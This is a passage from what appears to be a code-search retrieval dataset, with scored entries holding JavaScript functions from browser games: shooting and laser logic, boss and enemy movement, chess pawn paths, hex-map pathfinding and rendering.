x: 825, y: 175 }, { x: 480, y: 420 }, { x: 155, y: 835 }, { x: 840, y: 890 }];\r\n // hunter 25 are 25 wide, 50 high..\r\n\r\n //corrisponding hunter ship spawn locations:\r\n let hunterSpawnLocations = [{ x: 210, y: 200 }, { x: 825, y: 250 }, { x: 480, y: 345 }, { x: 155, y: 760 }, { x: 770, y: 890 }];\r\n\r\n // get random port\r\n let portIndex = Math.floor(Math.random() * 5);\r\n if (portIndex > 4) { portIndex = 4 };\r\n\r\n // hunter ships are all Brigs..\r\n let newChild = \"\";\r\n\r\n newChild = theScene.pirateHunters.create(hunterSpawnLocations[portIndex].x, hunterSpawnLocations[portIndex].y, \"hunterImg\");\r\n newChild.name = \"hunterShip\";\r\n newChild.Ship = new BoatConstructor(30, 25, 50, 0, 0, 0, 0);\r\n newChild.Ship.cannon = 8;\r\n newChild.Ship.gold = 50;\r\n newChild.setInteractive();\r\n newChild.setCollideWorldBounds(true);\r\n\r\n\r\n }", "title": "" }, { "docid": "1f9bc0b521773d952b13c7fc307dd079", "score": "0.57129425", "text": "function boss() {\r\n this.position = createVector(widthPixels / 2, -10);\r\n this.dir = 1;\r\n this.vulnerable = false;\r\n this.initialized = false;\r\n this.dead = false;\r\n\r\n this.shoot = function () {\r\n if (!this.vulnerable) {\r\n shots.push(new shot(createVector(this.position.x, this.position.y + 3), 1));\r\n shots.push(new shot(createVector(this.position.x + 11, this.position.y + 3), 1));\r\n } else {\r\n if (random(3) > 2) {\r\n shots.push(new shot(createVector(this.position.x, this.position.y + 3), 1));\r\n }\r\n if (random(3) > 1) {\r\n shots.push(new shot(createVector(this.position.x + 11, this.position.y + 3), 1));\r\n }\r\n }\r\n };\r\n\r\n this.move = function () {\r\n\r\n if (this.initialized && !this.dead) {\r\n\r\n // check for borders reverse if needed\r\n if (this.position.x + globalDir * 4 > widthPixels - 10) {\r\n globalDir = -1;\r\n }\r\n if (this.position.x + globalDir * 4 < 0) {\r\n globalDir = 1;\r\n }\r\n\r\n this.position.x = this.position.x + globalDir * 4;\r\n\r\n // Shoot - everytime it moves\r\n this.shoot();\r\n } else {\r\n this.position.y = this.position.y + 1;\r\n if (this.position.y == 0) {\r\n this.initialized = true;\r\n }\r\n }\r\n };\r\n\r\n this.hit = function () {\r\n if (this.vulnerable) {\r\n this.dead = true;\r\n ghost.vulnerable = true;\r\n }\r\n };\r\n\r\n this.draw = function () {\r\n if (!this.dead) {\r\n if (!this.vulnerable) {\r\n fill(colors[2]);\r\n } else {\r\n fill(colors[4]);\r\n }\r\n rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize, pixelSize * 7 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize, this.position.y * pixelSize + pixelSize, pixelSize * 2 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 4, this.position.y * pixelSize + pixelSize, pixelSize * 3 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 8, this.position.y * pixelSize + pixelSize, pixelSize * 2 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize + pixelSize * 2, pixelSize * 11 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize + pixelSize * 3, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize + pixelSize * 3, pixelSize * 7 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 10, this.position.y * pixelSize + pixelSize * 3, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize + pixelSize * 4, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize + pixelSize * 4, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 8, this.position.y * pixelSize + pixelSize * 4, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 10, this.position.y * pixelSize + pixelSize * 4, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 3, this.position.y * pixelSize + pixelSize * 5, pixelSize * 2 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize * 6, this.position.y * pixelSize + pixelSize * 5, pixelSize * 2 + 1, pixelSize + 1);\r\n }\r\n }\r\n}", "title": "" }, { "docid": "1143b945e91f93eef33ba63c36657fcb", "score": "0.5709469", "text": "function shoot(e) { //Event listener callback function\r\n let currentLaserIndex = currentShooterIndex\r\n let laserID\r\n function moveLaser() {\r\n // if (squares[currentLaserIndex].classList.contains('laser')) {\r\n squares[currentLaserIndex].classList.remove('laser') //remove laser class from current index\r\n // }\r\n currentLaserIndex -= width\r\n squares[currentLaserIndex].classList.add('laser') //add laser class to updated laser index\r\n //Collision of laser and alien (if laser and alien are in same square)\r\n if (squares[currentLaserIndex].classList.contains('invader')) //COLLISION\r\n {\r\n squares[currentLaserIndex].classList.remove('laser') //remove laser class from current index\r\n squares[currentLaserIndex].classList.remove('invader') //remove the invader from current index\r\n squares[currentLaserIndex].classList.add('boom') //add a boom\r\n\r\n //Remove the boom after some time\r\n setTimeout(() => squares[currentLaserIndex].classList.remove('boom'), 300) //remove the boom class after 300 ms\r\n clearInterval(laserID) //laser collides with the alien then disappear\r\n\r\n //Now get rid of the shot aliens,which need not to be drawn again\r\n const alienHit=aliens.indexOf(currentLaserIndex) //gives the index of the alien which is hit\r\n aliensRemoved.push(alienHit) //push that index (i) in the aliensRemoved array\r\n console.log(aliensRemoved)\r\n score++\r\n resultsDisplay.innerHTML = score\r\n }\r\n }\r\n \r\n switch (e.key) {\r\n case 'ArrowUp':\r\n laserID=setInterval(moveLaser, 200) //set the func in the interval of 200 ms\r\n break\r\n }\r\n}", "title": "" }, { "docid": "331cd1febf35a0fee6590a0bfcb605a4", "score": "0.57034594", "text": "function startShoot() {\n if (isShoot) {\n shoot();\n fire.play();\n isShoot = false;\n }\n\n allBullet.forEach(function(aBullet) {\n aBullet.x += aBullet.s;\n aBullet.draw();\n if (aBullet.x == canvas.width) {\n allBullet.shift(makeShooting);\n }\n })\n}", "title": "" }, { "docid": "c5877fcd86165a5281655df3d356cabb", "score": "0.5702845", "text": "function findPonePath(newPoss,team) {\n\n removeCross();\n removePath();\n\n //console.log(\"Current possition :\"+currentPos);\n\n var x = newPoss.substr(0, 1);\n var y = newPoss.substr(1, 1);\n // console.log(\"X :\"+x);\n //console.log(\"Y :\"+y);\n\n\n var xIndex = getXIndex(x);\n var yIndex = getYIndex(y);\n // console.log(yIndex);\n\n var arra;\n var divID = x + y;\n var potion = [\"a7\", \"b7\", \"c7\", \"d7\", \"e7\", \"f7\", \"g7\", \"h7\"];\n\n var two = x + (yIndex - 1);\n //console.log(\"two :\"+two);\n var count = 0;\n\n if (team === \"w\") {\n\n if (y === \"7\") {\n // $(\"#\" + x + \"5\").addClass(\"path\");\n // $(\"#\" + x + \"6\").addClass(\"path\");\n if ($(\"#\" + x + \"6\").children().length === 0) {\n $(\"#\" + x + \"6\").addClass(\"path\");\n if ($(\"#\" + x + \"5\").children().length === 0) {\n $(\"#\" + x + \"5\").addClass(\"path\");\n\n }\n }\n\n } else {\n if ((count < 1) && ($(\"#\" + x + (row[yIndex - 1])).children().length === 0)) {\n $(\"#\" + x + (row[yIndex - 1])).addClass(\"path\");\n count++;\n }\n }\n if ($(\"#\" + col[xIndex + 1] + row[yIndex - 1]).children().length > 0) {\n var id2 = $(\"#\" + col[xIndex + 1] + row[yIndex - 1]).children().attr(\"Id\");\n var cheTeam = findTeam(id2);\n if (cheTeam === \"b\") {\n $(\"#\" + col[xIndex + 1] + row[yIndex - 1]).addClass(\"cross\");\n }\n }\n if ($(\"#\" + col[xIndex - 1] + row[yIndex - 1]).children().length > 0) {\n var id2 = $(\"#\" + col[xIndex - 1] + row[yIndex - 1]).children().attr(\"Id\");\n var cheTeam = findTeam(id2);\n if (cheTeam === \"b\") {\n $(\"#\" + col[xIndex - 1] + row[yIndex - 1]).addClass(\"cross\");\n }\n }\n\n }\n //=======================Function For Black Pone===================================\n else {\n //console.log(\"Elase....!\"+y);\n if (y===\"2\"){\n // console.log(\"Y....!\"+y);\n if ($(\"#\" + x + \"3\").children().length === 0) {\n // console.log(\"x....!\"+x);\n $(\"#\" + x + \"3\").addClass(\"path\");\n if ($(\"#\" + x + \"4\").children().length === 0) {\n $(\"#\" + x + \"4\").addClass(\"path\");\n\n }\n }\n }else{\n\n if($(\"#\" + x + (row[yIndex + 1])).children().length === 0){\n // console.log(\"Yes it's Ok...!\");\n $(\"#\" + x + (row[yIndex + 1])).addClass(\"path\");\n }\n }\n if($(\"#\" + col[xIndex + 1] + row[yIndex + 1]).children().length > 0){\n var id=$(\"#\" + col[xIndex + 1] + row[yIndex + 1]).children().attr(\"Id\");\n var temaID=findTeam(id);\n if(temaID === \"w\"){\n // console.log(\"Team ID :\"+temaID);\n $(\"#\" + col[xIndex + 1] + row[yIndex + 1]).addClass(\"cross\");\n }\n }\n if($(\"#\" + col[xIndex - 1] + row[yIndex + 1]).children().length > 0){\n var id=$(\"#\" + col[xIndex - 1] + row[yIndex + 1]).children().attr(\"Id\");\n var tm=findTeam(id);\n if(tm===\"w\"){\n $(\"#\" + col[xIndex - 1] + row[yIndex + 1]).addClass(\"cross\");\n }\n }\n }\n\n\n}", "title": "" }, { "docid": "b424451cc95923fa12519dccfb37f666", "score": "0.56947553", "text": "function fire() {\n\n // Check if fired = false\n if (!fired) {\n // Initialize a shuriken\n if (weapon == \"shuriken\") {\n fired = true;\n setTimeout(unfired, 500);\n var elem = document.createElement(\"IMG\");\n elem.src = \"./img/Weapons/shuriken.png\";\n elem.className = \"shuriken\";\n elem.speed = 5;\n }\n if (weapon == \"kunai\") {\n fired = true;\n setTimeout(unfired, 1000);\n var elem = document.createElement(\"IMG\");\n elem.className = \"kunai\"\n elem.speed = 7;\n if (direction ==\"UP\") {\n elem.src = \"./img/Weapons/kunai_up.png\";\n elem.style.height = \"60px\";\n elem.style.width = \"20px\";\n }\n if (direction ==\"DOWN\") {\n elem.src = \"./img/Weapons/kunai_down.png\";\n elem.style.height = \"60px\";\n elem.style.width = \"20px\";\n }\n if (direction ==\"LEFT\") {\n elem.src = \"./img/Weapons/kunai_left.png\";\n }\n if (direction ==\"RIGHT\") {\n elem.src = \"./img/Weapons/kunai_right.png\";\n }\n }\n\n elem.direction = direction;\n elem.posy = hero.offsetTop + 24;\n elem.posx = hero.offsetLeft + 20;\n elem.startposy = hero.offsetTop + 24;\n elem.startposx = hero.offsetLeft + 20;\n elem.style.top = elem.posy + 'px';\n elem.style.left = elem.posx + 'px';\n level.appendChild(elem);\n }\n}", "title": "" }, { "docid": "692a86b1bb698d3d8ed589f36057b644", "score": "0.569093", "text": "function hit() {\n if (jedlo.powerup) snake.powerup();\n else snake.zjedenie();\n jedlo.update();\n }", "title": "" }, { "docid": "5e5f1d817126c774be0bb6706631883d", "score": "0.56887966", "text": "update() {\n this.game.display.clear();\n if (this.world.hero.hasFeather && this.world.hero.z === 0) {\n this.world.stats.escape += 1;\n this.world.stats.point += 1000;\n this.game.mortem = this.world.log;\n this.switchTo(this.game.winScene);\n return;\n }\n if (this.world.hero.died) {\n this.game.mortem = this.world.log;\n this.switchTo(this.game.failScene);\n return;\n }\n this.world.hero.explored.forEach((position) => {\n const p = position.split(',');\n if (+p[2] === this.world.hero.z) {\n let char = this.world.map.get(position);\n const itemChar = this.world.items.get(position) || ' ';\n let actorChar = ' ';\n let color = this.game.tiled ? 'rgba(10, 10, 10, 0.75)' : '#444';\n let bg = '#000';\n if (+p[0] === this.mouseX &&\n +p[1] === this.mouseY &&\n this.world.hero.isPassable(+p[0], +p[1])) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n if (this.world.hero.fov.has(`${p[0]},${p[1]}`)) {\n color = this.game.tiled ? 'transparent' : '#ccc';\n if (+p[0] === this.mouseX &&\n +p[1] === this.mouseY &&\n this.world.hero.isPassable(+p[0], +p[1]) &&\n this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.5)';\n }\n const actor = this.world.actors.find((actor) => actor.isAt(position));\n if (actor) {\n actorChar = actor.char;\n }\n if (this.world.hero.isAt(position)) {\n actorChar = 'Ⓡ';\n }\n }\n if (this.game.tiled) {\n this.game.display.draw(\n +p[0],\n +p[1],\n [char, itemChar, actorChar],\n [color, color, color],\n [bg, 'transparent', 'transparent'],\n );\n } else {\n char = itemChar === ' ' ? char : itemChar;\n char = actorChar === ' ' ? char : actorChar;\n this.game.display.draw(+p[0], +p[1], char, color, bg);\n }\n }\n });\n let color = 'transparent';\n let bg = null;\n if (this.mouseX === 1 && this.mouseY === 25) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n this.game.display.draw(1, 25, 'Ⓡ', this.game.tiled ? color : null, bg);\n if (this.world.hero.hasFeather) {\n this.game.display.drawText(\n 2, 25, '♥♥♥♥♥♥♥♥♥♥'.substr(0, this.world.hero.health) +\n '♡♡♡♡♡♡♡♡♡♡'.substr(this.world.hero.health),\n 'rgba(255, 255, 0, 0.33)',\n );\n this.game.display.draw(12, 26, '⤁', this.game.tiled ? color : null);\n } else {\n this.game.display.drawText(\n 2, 25, '♥♥♥♥♥♥♥♥♥♥'.substr(0, this.world.hero.health) +\n '♡♡♡♡♡♡♡♡♡♡'.substr(this.world.hero.health),\n );\n }\n color = 'transparent';\n bg = null;\n if (this.mouseX > 12 && this.mouseX < 18 && this.mouseY === 25) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n this.game.display.drawText(\n 13,\n 25,\n '+++++'.substr(0, this.world.hero.medkits),\n this.game.tiled ? color : null,\n );\n color = 'transparent';\n bg = null;\n if (this.world.hero.hasPistol) {\n this.game.display.draw(26, 25, '⌐', this.game.tiled ? color : null);\n } else if (this.world.hero.hasWhip) {\n this.game.display.draw(26, 25, '␦', this.game.tiled ? color : null);\n }\n if (this.world.hero.bullets > 0) {\n for (let i = 0; i < ((this.world.hero.bullets % 6) || 6); i += 1) {\n this.game.display.draw(25 - i, 25, '⁍', this.game.tiled ? color : null);\n }\n for (let i = 0; i < ~~((this.world.hero.bullets - 1) / 6); i += 1) {\n this.game.display.draw(27 + i, 25, '⊠', this.game.tiled ? color : null);\n }\n }\n color = 'transparent';\n bg = null;\n if (this.mouseX === 48 && this.mouseY === 25) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n this.game.display.draw(\n 48,\n 25,\n this.game.soundmuted ? '🕨' : '🕪',\n this.game.tiled ? color : null, bg,\n );\n color = 'transparent';\n bg = null;\n if (this.mouseX === 49 && this.mouseY === 25) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n this.game.display.draw(\n 49,\n 25,\n this.game.music.muted ? '♩' : '♬',\n this.game.tiled ? color : null, bg,\n );\n color = 'transparent';\n bg = null;\n if (this.mouseX === 50 && this.mouseY === 25) {\n if (this.game.tiled) {\n color = 'rgba(255, 255, 255, 0.25)';\n } else {\n bg = '#aaa';\n }\n }\n this.game.display.draw(50, 25, '☒', this.game.tiled ? color : null, bg);\n this.game.display.drawText(0, 26, this.world.log[0], null, 50);\n }", "title": "" }, { "docid": "37885ad0d2efdfb168ef06b455d8da1f", "score": "0.56880337", "text": "function shoot(e) {\n\n // just to have something to see...\n var color = Phaser.Display.Color.RGBToString(\n Phaser.Math.Between(0, 256),\n Phaser.Math.Between(0, 256),\n Phaser.Math.Between(0, 256),\n \"#\"\n );\n \n this.cameras.main.setBackgroundColor(color);\n}", "title": "" }, { "docid": "aee78a25c1645df00d6a6d367305fc91", "score": "0.5686766", "text": "function shootAlienBullet(){\n\n let randomAlien = Math.floor(Math.random()*48)\n \n\n if (alienBulletOnScreen<maxAlienBullet && alien[randomAlien].isAlive ===true ){\n alienBulletOnScreen++;\n \n \n drawAlienBullet(randomAlien, aliendeltaY)\n }\n}", "title": "" }, { "docid": "589ec9dfb999925a5444758b806a250e", "score": "0.5683972", "text": "function shoot() {\n if (isLaserInSky) {\n return;\n }\n else {\n console.log(gGamerPos);\n blinkLaser(gGamerPos);\n gIntervalID = setInterval(() => {\n blinkLaser(laserOutPos)\n \n }, LASER_SPEED);\n }\n}", "title": "" }, { "docid": "efbea37f7316b781275e4582b7dc6957", "score": "0.5678618", "text": "function draw(){\n\tbackground(221, 143,32)\n// this function is looping over and over again\n\tsq.draw()\n\tcollisionDetection()\n\t\n\tfor(let i = 0;i<bullets.length;i++){\n\t\tbullets[i].draw()\n\t\tbullets[i].move()\n\t\t// bullets[i].currentPosition()\n\t\t// for(let j = 0;j<enemies.length;j++){\n\t\t// \tif(bullets[i].hits(enemies[j])){\n\t\t// \t\tconsole.log('hit!!!')\n\n\t\t// \t}\n\t\t// }\n\n\t}\n\n\tfor(let i = 0; i< 12; i++){\n\t\t// enemies.push(new Enemies)\n\t\tenemies[i].draw()\n\n\t}\n\t\n\t// stroke(32)\n\t// // noStroke()\n\t// fill(233, 43, 1)\n\t// ellipse(x, y, 23,23)\n\t// x = x + speedX\n\t// if (x >= width || x < 0) {\n\t// \tspeedX = -speedX;\n\t// \t}\n\n\t// y += speedY;\n\t// if(y>= height || y <0){\n\t// \tspeedY =- speedY\n\n\t// }if(y> 100 && y <250){\n\t// \ty += speedY *4\n\t// }\n\n\n\t\n}", "title": "" }, { "docid": "2a4dd5618caf774e44157ebac99e2669", "score": "0.5670849", "text": "function rayShip() {\n for (let i = 0; i < arrRay.length; i++) {\n if (\n player.y + player.height > arrRay[i].y &&\n player.y < arrRay[i].y + 20 &&\n player.x + player.width > arrRay[i].x &&\n player.x < arrRay[i].x + 20\n ) {\n player.alive = false;\n blasts.textContent = \"Space wraithed! Blasted to smithereens.\";\n loser();\n }\n }\n}", "title": "" }, { "docid": "d5b3d63bd6d39e783aa14cc962d5bff5", "score": "0.5664461", "text": "explode() { \r\n // draw orange and yellow circles filled for fire.\r\n // create a bunch of sub-sprites for pieces of ship,\r\n // give them all rnd velocities (plus ships velocity).\r\n // on draw just draw these instead of the ship.\r\n // on step move these instead of ship.\r\n // ie make a ShipRemains object with a bunch of subobjects with different velocities?\r\n // have them all stop at some depth under the horizon.\r\n \r\n // call super with a parameter for velocities etc\r\n // replace existing sprite with child sprites.\r\n // ie remove all line segments from this sprite. right? \r\n // super.explode() \r\n }", "title": "" }, { "docid": "e23b196eacd7723dfa83a6776ec6c60f", "score": "0.5658557", "text": "shootCannonBallToCoords(clickX, clickZ)\r\n {\r\n let cannonBallOrigin = [0,5,0];\r\n let cannonBallDestination = [clickX,0,clickZ]; \r\n let cannonBallDestinationIndices = [parseInt(clickX/this.deltaX), 0, parseInt(clickZ/this.deltaZ)]; //Note the y value is actually not an index,\r\n //just the x and z values, elements 0 and 2 of the array, are.\r\n let timeDurrationDistanceScale = (1/100);\r\n let distanceDependentTimeDuration = true;\r\n let cannonFireTimeDelay = 0.1;\r\n\r\n if (distanceDependentTimeDuration)\r\n {\r\n let distBetweenCannonBallOriginAndDestination = this.indexDistanceFunction(cannonBallOrigin[0], cannonBallOrigin[2], cannonBallDestination[0], cannonBallDestination[2]);\r\n let cannonBallAirtime = timeDurrationDistanceScale*distBetweenCannonBallOriginAndDestination;\r\n let heightDependentSplashFactor = 0;\r\n let splashHeight = 3 + heightDependentSplashFactor*distBetweenCannonBallOriginAndDestination;\r\n let waveStartTime = this.currentTime + cannonBallAirtime; \r\n\r\n this.allCannonBalls.push(new cannonBall(cannonBallOrigin, cannonBallDestination, cannonBallAirtime, this.rows*this.deltaX, this.columns*this.deltaZ, -.9*this.height, this.model_transform, this.currentTime + cannonFireTimeDelay)); \r\n this.activeCannonBalls.push(this.numberOfCannonBalls);\r\n this.numberOfCannonBalls++;\r\n this.pushNewClickInfo(cannonBallDestinationIndices[0], cannonBallDestinationIndices[2], waveStartTime + cannonFireTimeDelay, splashHeight);\r\n }\r\n else\r\n { \r\n let commonAirTimeForAllCannonballs = 3;\r\n this.allCannonBalls.push(new cannonBall(cannonBallOrigin, cannonBallDestination, commonAirTimeForAllCannonballs, this.rows*this.deltaX, this.columns*this.deltaZ, -.9*this.height, this.model_transform, this.currentTime + cannonFireTimeDelay)); \r\n this.numberOfCannonBalls++;\r\n this.pushNewClickInfo(cannonBallDestinationIndices[0], cannonBallDestinationIndices[2], waveStartTime + cannonFireTimeDelay, splashHeight);\r\n }\r\n }", "title": "" }, { "docid": "54867b1da700d03a3da2dab83878c45d", "score": "0.5655392", "text": "function enemyMove02( obj ) {\r\n\r\n if ( !obj.flag ) {\r\n //The enemy will approach to jiki, if the enemies are far from jiki\r\n if ( obj.x < jiki.x && obj.vectorX < 600 ) {\r\n obj.vectorX += 30; \r\n } else if ( jiki.x < obj.x && -600 < obj.vectorX ) {\r\n obj.vectorX -= 30;\r\n }\r\n } else {\r\n //The enemies will escape, if the enemies are near jiki\r\n if ( jiki.x < obj.x && obj.vectorX < 600 ) {\r\n obj.vectorX += 30; \r\n } else if ( obj.x < jiki.x && -600 < obj.vectorX ) {\r\n obj.vectorX -= 30;\r\n }\r\n }\r\n \r\n if ( Math.abs(jiki.y - obj.y) < (100<<8) && !obj.flag ) {//If the enemies come near to jiki within 100px\r\n obj.flag = true;\r\n enemyShot( obj, 600 );\r\n }\r\n \r\n \r\n // if ( obj.flag && -800 < obj.vectorY ) {//The enemies will escape\r\n // obj.vectorY -= 30;\r\n // }\r\n\r\n //Enemy image looks flapping\r\n const enemyPattern = [ 33, 34, 33, 35 ];\r\n obj.spriteIndex = enemyPattern[ (obj.count>>3) & 3 ];//\"...&3\" is same as \"...%4\" \r\n}", "title": "" }, { "docid": "8cc84df64a9612eb05df01dbe8d3f9d6", "score": "0.56549793", "text": "function render() {\n\tgame.debug.text('Click or press space / enter to shoot', 10, 55);\n}", "title": "" }, { "docid": "6a061a0784886f8b061ac6bcbcf86e25", "score": "0.56533056", "text": "mouseHexIntersection ( _raycaster ) {\r\n\r\n var intersects = _raycaster.intersectObjects( this.hexMap.getHexMeshGroup().children );\r\n\r\n if(intersects.length > 0) {\r\n\r\n var dd = document.getElementById(\"dropdown\");\r\n var action = dd.options[dd.selectedIndex].text;\r\n\r\n this.unMarkAll();\r\n\r\n var a = this.hexMap.getHexById( 5 );\r\n var b = this.hexMap.getHexById( intersects[0].object.hexId );\r\n\r\n if (action == \"pathfinding\") {\r\n var path = this.pathFinder.find( a, b );\r\n for ( var i = 0; i < path.length; i++ ) {\r\n path[i].changeColor( 0x0000ff );\r\n this.marked.push( path[i] );\r\n }\r\n }\r\n \r\n if (action == \"neighbors\") {\r\n var neighbors = this.hexMap.getNeighborsOf( b );\r\n for ( var i = 0; i < neighbors.length; i++ ) {\r\n neighbors[i].changeColor( 0xff0fff );\r\n this.marked.push( neighbors[i] );\r\n }\r\n }\r\n\r\n if (action == \"reach\") {\r\n var reached = this.hexMap.getReachableOf( b , 5 );\r\n for (var i = 0; i < reached.length; i++) {\r\n reached[i].changeColor( 0xff0fff );\r\n this.marked.push(reached[i]);\r\n }\r\n }\r\n\r\n if (action == \"linedraw\") {\r\n var lineDraw = Static.cube_linedraw( a.getCubeCoords() , b.getCubeCoords() );\r\n for (var i = 0; i < lineDraw.length; i++) {\r\n var hex = this.hexMap.getHexById( Static.cube_to_id( lineDraw[i] ) );\r\n hex.changeColor( 0xff0fff );\r\n this.marked.push( hex );\r\n }\r\n }\r\n\r\n if (action == \"intersect\") {\r\n\r\n var range_a = Static.cube_range( b.getCubeCoords(), 1 );\r\n for (var i = 0; i < range_a.length; i++) {\r\n var hex = this.hexMap.getHexById( Static.cube_to_id( range_a[i] ) );\r\n hex.changeColor( 0xff0fff );\r\n this.marked.push( hex );\r\n }\r\n\r\n var range_b = Static.cube_range( a.getCubeCoords(), 3 );\r\n for (var i = 0; i < range_b.length; i++) {\r\n var hex = this.hexMap.getHexById( Static.cube_to_id( range_b[i] ) );\r\n hex.changeColor( 0xff0fff );\r\n this.marked.push( hex );\r\n }\r\n\r\n var intersect = Static.intersecting_ranges(range_a,range_b);\r\n for (var i = 0; i < intersect.length; i++) {\r\n var hex = this.hexMap.getHexById( Static.cube_to_id( intersect[i] ) );\r\n hex.changeColor( 0xff0000 );\r\n this.marked.push( hex );\r\n }\r\n }\r\n\r\n var hex = this.hexMap.getHexById(intersects[0].object.hexId);\r\n if (action != \"intersect\") {\r\n hex.changeColor( 0xff0fff );\r\n this.marked.push(hex);\r\n }\r\n var obj = document.getElementById(\"tileId\");\r\n obj.innerText = hex.x + \" - \"+ hex.y + \" id: \" + hex.hexId;\r\n\r\n }\r\n \r\n }", "title": "" }, { "docid": "14b97314a79f1b4d176cf35268215ea5", "score": "0.5651969", "text": "function iso_magic_token_view(a, hit_walls) {\n\n\taa = new PIXI.Sprite\n\tcanvas.stage.addChild(aa)\n\taa.x = a.x\n\taa.y = a.y\n\tvar {\n\t\tx = x, y = y\n\t} = aa.toGlobal(new PIXI.Point()) // wall\n\n\tcanvas.stage.removeChild(aa)\n\n\n\tx -= canvas.app.stage.localTransform.tx\n\ty -= canvas.app.stage.localTransform.ty\n\t// debugger;\n\n\n\tfor (wall in attach_wall) {\n\t\ttry {\n\t\t\tvar [x1, y1, x2, y2] = wall_position(canvas.walls.get(wall).coords)\n\n\t\t\tif (x1 == x2) {\n\t\t\t\tconsole.log('private case')\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvar slope = (y2 - y1) / (x2 - x1) //slop\n\n\t\t\t// console.log('y:' + y, 'liney:' + line_y)\n\t\t\tlet tile = canvas.tiles.get(attach_wall[wall])\n\t\t\t// debugger;\n\t\t\tif (hit_walls.red.has(wall) || (lighted_walls.includes(wall) && hit_walls.no.has(wall))) {\n\t\t\t// if (( lighted_walls.includes(wall))) {\n\n\t\t\t\tif (((y - y1) > slope * (x - x1))) {\n\t\t\t\t\t// tile.visible = true\n\n\t\t\t\t\t// show_overlay_tile(tile)\n\t\t\t\t\tadd_tile.push(tile)\n\t\t\t\t\tconsole.log('over me')\n\t\t\t\t} else {\n\t\t\t\t\tunder_tile.push(tile.data._id)\n\t\t\t\t\tconsole.log('under me and hit')\n\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// tile.visible = false\n\t\t\t\t// hide_overlay_tile(tile)\n\n\t\t\t\tconsole.log('under me')\n\n\t\t\t}\n\t\t} catch {}\n\t}\n}", "title": "" }, { "docid": "51dd960a60b203797b7ca88fdb76899e", "score": "0.56491476", "text": "function bigLaser() {\r\n var y = event.offsetY;\r\n var x = event.offsetX;\r\n yLocation.push(y) \r\n xLocation.push(x) \r\n xVals.push(250);\r\n yVals.push(20);\r\n xbeamSpeed.push(10);\r\n}", "title": "" }, { "docid": "466c0421ec3804a05de0abc4e964a402", "score": "0.5645524", "text": "attackBasic(cursor, angle, shieldSprite){\r\n \r\n shieldSprite.anims.play(\"shield\", true);\r\n shieldSprite.body.setVelocityY(this.basicAttackSpeed*Math.sin(angle));\r\n shieldSprite.body.setVelocityX(this.basicAttackSpeed*Math.cos(angle));\r\n \r\n\r\n this.sprite.anims.play(\"upIdle\");\r\n\r\n //Rotation of sprite and box\r\n if(angle > -Math.PI/4 && angle <= Math.PI/4){\r\n this.sprite.anims.play(\"rightBasicAttack\");\r\n }\r\n else if(angle > -3*Math.PI/4 && angle <= -Math.PI/4){\r\n this.sprite.anims.play(\"upBasicAttack\");\r\n }\r\n else if((angle > 3*Math.PI/4 && angle <= Math.PI) || (angle <= -3*Math.PI/4 && angle >= -Math.PI)){\r\n this.sprite.anims.play(\"leftBasicAttack\");\r\n }\r\n else if(angle <= 3*Math.PI/4 && angle > Math.PI/4){\r\n this.sprite.anims.play(\"rightBasicAttack\");\r\n }\r\n\r\n\r\n //nextFire = this.time.now + fireRate;\r\n\r\n //var bullet = bullets.getFirstDead();\r\n\r\n //bullet.reset(sprite.x - 8, sprite.y - 8);\r\n\r\n //this.physics.arcade.moveToPointer(shieldSprite, 300);\r\n\r\n\r\n\r\n \r\n \r\n }", "title": "" }, { "docid": "068e47c31a10890af5970a563048ac86", "score": "0.5645304", "text": "function playerShip() {\r\n this.position = createVector(40, heightPixels);\r\n this.thenTime = millis();\r\n this.life = 3;\r\n\r\n // For calculating its shots origin\r\n this.getMidOfShip = function () {\r\n return createVector(this.position.x + 2, this.position.y - 5);\r\n };\r\n\r\n // Function to calculate the movement\r\n this.move = function (dir) {\r\n // Times temp\r\n var nowTime = floor(millis());\r\n var timePassed = nowTime - this.thenTime;\r\n if (timePassed > 70) {\r\n this.position.x = this.position.x + dir * 4;\r\n this.thenTime = nowTime;\r\n }\r\n };\r\n\r\n this.updateStatus = function () {\r\n // move if needed\r\n checkKeyboard();\r\n\r\n // check for borders and teleport\r\n if (this.position.x > widthPixels - 2) {\r\n this.position.x = 0;\r\n }\r\n if (this.position.x < 0) {\r\n this.position.x = widthPixels - 4;\r\n }\r\n };\r\n\r\n this.hit = function () {\r\n this.life--;\r\n if (this.isDead()) {\r\n endGame();\r\n }\r\n };\r\n\r\n this.isDead = function () {\r\n if (this.life < 1) {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n };\r\n\r\n this.draw = function () {\r\n\r\n // Different player ship \"skins\" depending on the HP\r\n switch (this.life) {\r\n case 3:\r\n fill(colors[0]);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize * 2, pixelSize * 5 + 1, pixelSize + 1);\r\n 